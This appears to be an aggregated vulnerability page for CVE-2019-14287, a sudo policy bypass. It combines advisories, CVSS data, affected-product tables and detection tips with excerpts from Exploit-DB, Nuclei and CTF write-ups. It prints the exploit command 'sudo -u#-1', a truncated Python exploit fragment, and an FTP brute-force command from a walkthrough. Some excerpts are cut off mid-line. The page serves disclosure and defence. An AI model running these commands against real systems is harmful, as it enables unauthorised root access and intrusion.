CVE-2019-14287
published 2019-10-17CVE-2019-14287: In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause…
PriorityP276high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
63.92%
99.1th percentile
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
Affected
51 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | sudo | < sudo 1.8.27-1.1 (bookworm) | sudo 1.8.27-1.1 (bookworm) |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| opensuse | leap | — | — |
| opensuse | leap | — | — |
| redhat | enterprise_linux | — | — |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Alert on sudo command lines matching the pattern `sudo -u#-1 <cmd>` or `sudo -u \#$((0xffffffff)) <cmd>` in shell/process audit logs (auditd, syslog, EDR), as these are the exact invocation forms used in exploitation. ↗
- →The vulnerability is only exploitable when a sudoers entry grants a user (ALL, !root) permissions — audit sudoers files for entries containing '!root' combined with broad command grants (ALL or specific binaries), as these are the prerequisite configurations. ↗
- →Check for incorrect USER= logging in sudo audit logs — the CVE causes sudo to log the wrong user identity, so a mismatch between the logged user and actual effective UID=0 activity is a post-exploitation indicator. ↗
- ·The vulnerability only affects systems where a sudoers entry explicitly uses the '!root' restriction (e.g., ALL=(ALL:!root) ...). Systems without such a configuration are not vulnerable — most Linux machines were unaffected. ↗
- ·Only Sudo versions before 1.8.28 are vulnerable. Systems running 1.8.28 or later are patched. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
osv8.8HIGH
vendor_debian8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-33h3-qhjg-4qmf: In Sudo before 1
ghsa_unreviewed·2022-05-24
CVE-2019-14287 [HIGH] CWE-755 GHSA-33h3-qhjg-4qmf: In Sudo before 1
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
OSV
CVE-2019-14287: In Sudo before 1
osv·2019-10-17·CVSS 8.8
CVE-2019-14287 [HIGH] CVE-2019-14287: In Sudo before 1
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
Red Hat
sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword
vendor_redhat·2019-10-14·CVSS 8.8
CVE-2019-14287 [HIGH] CWE-267 sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword
sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
A flaw was found in the way sudo implemented running commands with arbitrary user ID. If a sudoers entry is written to allow the attacker to run a command as any user except root, this flaw can be used by the attacker to bypass that restriction.
Statement: This flaw only affects specific, non-default configurations of sudo, in which sudoers configuration entry allows a user to run a command
Ubuntu
Sudo vulnerability
vendor_ubuntu·2019-10-14
CVE-2019-14287 Sudo vulnerability
Title: Sudo vulnerability
Summary: Sudo could be made to run commands as root if it called with
a specially crafted user ID.
Joe Vennix discovered that Sudo incorrectly handled
certain user IDs. An attacker could potentially exploit this
to execute arbitrary commands as the root user.
Instructions: In general, a standard system update will make all the necessary changes.
Debian
CVE-2019-14287: sudo - In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can...
vendor_debian·2019·CVSS 8.8
CVE-2019-14287 [HIGH] CVE-2019-14287: sudo - In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can...
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
Scope: local
bookworm: resolved (fixed in 1.8.27-1.1)
bullseye: resolved (fixed in 1.8.27-1.1)
forky: resolved (fixed in 1.8.27-1.1)
sid: resolved (fixed in 1.8.27-1.1)
trixie: resolved (fixed in 1.8.27-1.1)
Exploit-DB
sudo 1.8.27 - Security Bypass
exploitdb·2019-10-15
CVE-2019-14287 sudo 1.8.27 - Security Bypass
sudo 1.8.27 - Security Bypass
---
# Exploit Title : sudo 1.8.27 - Security Bypass
# Date : 2019-10-15
# Original Author: Joe Vennix
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : Sudo priv")
os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")
binary_file = open("binary")
binary= binary_file.read()
#execute sudo exploit
print("Lets hope it works")
os.system("sudo -u#-1 "+ binary)
Nuclei
Sudo <= 1.8.27 - Security Bypass
nuclei·CVSS 8.8
CVE-2019-14287 [HIGH] Sudo <= 1.8.27 - Security Bypass
Sudo <= 1.8.27 - Security Bypass
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
Template:
id: CVE-2019-14287
info:
name: Sudo <= 1.8.27 - Security Bypass
author: daffainfo
severity: high
description: |
In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0x
CTF
medium / README
ctf_writeups·CVSS 9.1
[CRITICAL] medium / README
---
layout: default
title: Medium Machines
parent: Machines
nav_order: 2
description: "112+ Medium HTB machine writeups with walkthroughs"
permalink: /machines/medium/
---
# HackTheBox - Medium Machines
> Comprehensive index of retired HTB Medium-difficulty machines with key techniques and attack path summaries.
**Total: 100+ machines** | Sorted roughly by retirement date (newest first)
---
## Machine Index
| # | Machine | OS | Key Techniques | Attack Path Summary | Writeup |
|---|---------|-----|----------------|---------------------|---------|
| 1 | Signed | Linux | Code Signing Bypass, Certificate Abuse | Forge code signature to deploy malicious update, escalate via trusted binary execution | [0xdf](https://0xdf.gitlab.io/2026/02/07/htb-signed.html) |
| 2 | Voleur | Linux | Data E
CTF
Easy / sudovulnsbof
ctf_writeups·CVSS 8.8
CVE-2019-18634 [HIGH] Easy / sudovulnsbof
# CVE-2019-18634 Sudo Buffer Overflow
- sudo version < 1.8.26.
- exploit option called **pwfeedback**.
# pwfeedback
- turned off by default (with the exception of ElementaryOS and Linux Mint)
- pwfeedback makes it so that whenever you type a character, an asterisk `*` is displayed on the screen.
- Inside the /etc/sudoers file it is specified like this (when option is turned on):
it's possible to perform a buffer overflow attack on the sudo command. when a program accepts input from a user it stores the data in a set size of storage space. A buffer overflow attack is when you enter so much data into the input that it spills out of this storage space and into the next "box," overwriting the data in it.
this means if we fill the password box of the sudo command up with a *lot of garbage
CTF
easy / README
ctf_writeups·CVSS 6.0
[MEDIUM] easy / README
---
layout: default
title: Easy Machines
parent: Machines
nav_order: 1
description: "120+ Easy HTB machine writeups with walkthroughs"
permalink: /machines/easy/
---
# HackTheBox Easy Machines - Comprehensive Reference
> Complete catalog of retired HTB Easy machines with OS, key vulnerability, attack path summary, and quality writeup links.
**Total: 100+ Easy Machines** | Updated: April 2026
---
## Quick Navigation
- [Classic / Legacy Machines (2017-2019)](#classic--legacy-machines-2017-2019)
- [2019-2020 Machines](#2019-2020-machines)
- [2021 Machines](#2021-machines)
- [2022 Machines](#2022-machines)
- [2023 Machines](#2023-machines)
- [2024 Machines (Season 4 & 5)](#2024-machines-season-4--5)
- [2025-2026 Machines (Season 6+)](#2025-2026-machines-season-6)
---
## Classic / Legac
CTF
Agent-Sudo / README
ctf_writeups·CVSS 8.8
[HIGH] Agent-Sudo / README
# Agent Sudo
- Deploy the machine
no answer needed
- How many open ports?
- `nmap `
- `3`
- How you redirect yourself to a secret page?
- `user-agent`
- What is the agent name?
- Let's try changing the user-agent.
- `curl -A "A" -L `. Mmmmh...
- `curl -A "C" -L `. Got it.
- `chris`
- FTP password
- `hydra -l chris -P /usr/share/wordlists/rockyou.txt -vV -t 4 ftp`
- `crystal`
- steg password
- `ftp `
- Enter username `chris` and password `crystal`.
- `mget *`
- By `ToAgentJ.txt` I can understand there is a pic that isn't a photo actually.
- In fact, `binwalk -e cutie.png` extracts useful data.
- `cd _cutie.png.extracted`
- `zip2john 8702.zip > zip.hash`
- `john zip.hash` and we get the password
- `7z e zip.hash`, enter `Y` and the password.
- `cat ToAgentR.txt`
- Inserting that
CTF
tryhackme-rooms / yearoftherabbit
ctf_writeups
tryhackme-rooms / yearoftherabbit
# Year of the Rabbit
Another CTF-like room...but one that was not too hard and impressive in its very longevity. Solved it almost entirely without help, except for near the end where I had to get a hint on the step after getting ssh access: I got distracted with a meaningless file, and didn't know about locate. Other than that, did well! Particularly proud about recognising a programming language (eventually) and recognising a prior CVE I'd used elsewhere.
1. Recon revealed 21, 22 and 80, all running standard services. FTP didn't support anonymous login.
2. Port 80 revealed the apache default page. Nothing was interesting in its source. A dirb revealed a listable `/assets` folder that contained a css file and a mp4 (the rickroll video)
3. I checked out the css file and found
```
/* Ni
CTF
Easy / sudovulnsbypass
ctf_writeups·CVSS 8.8
CVE-2019-14287 [HIGH] Easy / sudovulnsbypass
# Sudo Security Bypass CVE-2019-14287
- Sudo versions ```. This means that you would be pretending to be another user when you executed the chosen command, which can give you higher permissions than you might otherwise have had.
Like many commands on Unix systems, sudo can be configured by editing a configuration file on your system. In this case that file is called `/etc/sudoers`. Editing this file directly is not recommended due to its importance to the OS installation, however, you can safely edit it with the command `sudo visudo`, which checks when you're saving to ensure that there are no misconfigurations.
The vulnerability we're interested in for this task occurs **in a very particular scenario**. Say you have a user who you want to grant extra permissions to. You want to let thi
Checkpoint
21th October – Threat Intelligence Bulletin
blogs_checkpoint·2019-10-22
CVE-2019-14287 21th October – Threat Intelligence Bulletin
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
AI Research 2
Android Malware 23
Artificial Intelligence 4
ChatGPT 3
Check Point Research Publications 455
Cloud Security 1
CPRadio 44
Crypto 2
Data & Threat Intelligence 2
Data Analysis 0
Demos 22
Global Cyber Attack Reports 408
How To Guides 13
Ransomware 5
Russo-Ukrainian War 1
Security Report 1
Threat and data analysis 0
Threat Research 174
Web 3.0 Security 11
Wipers 0
## 21th October – Threat Intelligence Bulletin
For the latest discoveries in cyber research for the week of 14th October 2019, please download our Threat Intelligence Bulletin
TOP ATTACKS AN
Bugzilla
CVE-2019-14287 sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword [fedora-all]
bugzilla·2019-10-14·CVSS 8.8
CVE-2019-14287 [HIGH] CVE-2019-14287 sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword [fedora-all]
CVE-2019-14287 sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multi
Bugzilla
CVE-2019-14287 sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword
bugzilla·2019-10-10·CVSS 8.8
CVE-2019-14287 [HIGH] CVE-2019-14287 sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword
CVE-2019-14287 sudo: Privilege escalation via 'Runas' specification with 'ALL' keyword
A flaw was found in sudo before version 1.8.28. When sudo is configured to allow a user to run commands as an arbitrary user via the 'ALL' keyword in a 'Runas' specification, it is possible to run commands as root.
Discussion:
Acknowledgments:
Name: the Sudo project
Upstream: Joe Vennix (Apple Information Security)
---
Created attachment 1624516
upstream patch that fixes a test issue
---
Created attachment 1624734
Upstream fix
---
Created sudo tracking bugs for this issue:
Affects: fedora-all [bug 1761584]
---
References:
https://www.openwall.com/lists/oss-security/2019/10/14/1
---
External References:
https://www.sudo.ws/alerts/minus_1_uid.html
---
POSSIBLE WORKAROUND: Changing the "AL
http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00042.htmlhttp://lists.opensuse.org/opensuse-security-announce/2019-10/msg00047.htmlhttp://packetstormsecurity.com/files/154853/Slackware-Security-Advisory-sudo-Updates.htmlhttp://www.openwall.com/lists/oss-security/2019/10/14/1http://www.openwall.com/lists/oss-security/2019/10/24/1http://www.openwall.com/lists/oss-security/2019/10/29/3http://www.openwall.com/lists/oss-security/2021/09/14/2https://access.redhat.com/errata/RHBA-2019:3248https://access.redhat.com/errata/RHSA-2019:3197https://access.redhat.com/errata/RHSA-2019:3204https://access.redhat.com/errata/RHSA-2019:3205https://access.redhat.com/errata/RHSA-2019:3209https://access.redhat.com/errata/RHSA-2019:3219https://access.redhat.com/errata/RHSA-2019:3278https://access.redhat.com/errata/RHSA-2019:3694https://access.redhat.com/errata/RHSA-2019:3754https://access.redhat.com/errata/RHSA-2019:3755https://access.redhat.com/errata/RHSA-2019:3895https://access.redhat.com/errata/RHSA-2019:3916https://access.redhat.com/errata/RHSA-2019:3941https://access.redhat.com/errata/RHSA-2019:4191https://access.redhat.com/errata/RHSA-2020:0388https://lists.debian.org/debian-lts-announce/2019/10/msg00022.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IP7SIOAVLSKJGMTIULX52VQUPTVSC43U/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NPLAM57TPJQGKQMNG6RHFBLACD6K356N/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TUVAOZBYUHZS56A5FQSCDVGXT7PW7FL2/https://resources.whitesourcesoftware.com/blog-whitesource/new-vulnerability-in-sudo-cve-2019-14287https://seclists.org/bugtraq/2019/Oct/20https://seclists.org/bugtraq/2019/Oct/21https://security.gentoo.org/glsa/202003-12https://security.netapp.com/advisory/ntap-20191017-0003/https://support.f5.com/csp/article/K53746212?utm_source=f5support&%3Butm_medium=RSShttps://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbns03976en_ushttps://usn.ubuntu.com/4154-1/https://www.debian.org/security/2019/dsa-4543https://www.openwall.com/lists/oss-security/2019/10/15/2https://www.sudo.ws/alerts/minus_1_uid.htmlhttp://lists.opensuse.org/opensuse-security-announce/2019-10/msg00042.htmlhttp://lists.opensuse.org/opensuse-security-announce/2019-10/msg00047.htmlhttp://packetstormsecurity.com/files/154853/Slackware-Security-Advisory-sudo-Updates.htmlhttp://www.openwall.com/lists/oss-security/2019/10/14/1http://www.openwall.com/lists/oss-security/2019/10/24/1http://www.openwall.com/lists/oss-security/2019/10/29/3http://www.openwall.com/lists/oss-security/2021/09/14/2https://access.redhat.com/errata/RHBA-2019:3248https://access.redhat.com/errata/RHSA-2019:3197https://access.redhat.com/errata/RHSA-2019:3204https://access.redhat.com/errata/RHSA-2019:3205https://access.redhat.com/errata/RHSA-2019:3209https://access.redhat.com/errata/RHSA-2019:3219https://access.redhat.com/errata/RHSA-2019:3278https://access.redhat.com/errata/RHSA-2019:3694https://access.redhat.com/errata/RHSA-2019:3754https://access.redhat.com/errata/RHSA-2019:3755https://access.redhat.com/errata/RHSA-2019:3895https://access.redhat.com/errata/RHSA-2019:3916https://access.redhat.com/errata/RHSA-2019:3941https://access.redhat.com/errata/RHSA-2019:4191https://access.redhat.com/errata/RHSA-2020:0388https://lists.debian.org/debian-lts-announce/2019/10/msg00022.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IP7SIOAVLSKJGMTIULX52VQUPTVSC43U/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NPLAM57TPJQGKQMNG6RHFBLACD6K356N/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TUVAOZBYUHZS56A5FQSCDVGXT7PW7FL2/https://resources.whitesourcesoftware.com/blog-whitesource/new-vulnerability-in-sudo-cve-2019-14287https://seclists.org/bugtraq/2019/Oct/20https://seclists.org/bugtraq/2019/Oct/21https://security.gentoo.org/glsa/202003-12https://security.netapp.com/advisory/ntap-20191017-0003/https://support.f5.com/csp/article/K53746212?utm_source=f5support&%3Butm_medium=RSShttps://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbns03976en_ushttps://usn.ubuntu.com/4154-1/https://www.debian.org/security/2019/dsa-4543https://www.openwall.com/lists/oss-security/2019/10/15/2https://www.sudo.ws/alerts/minus_1_uid.html
2019-10-17
Published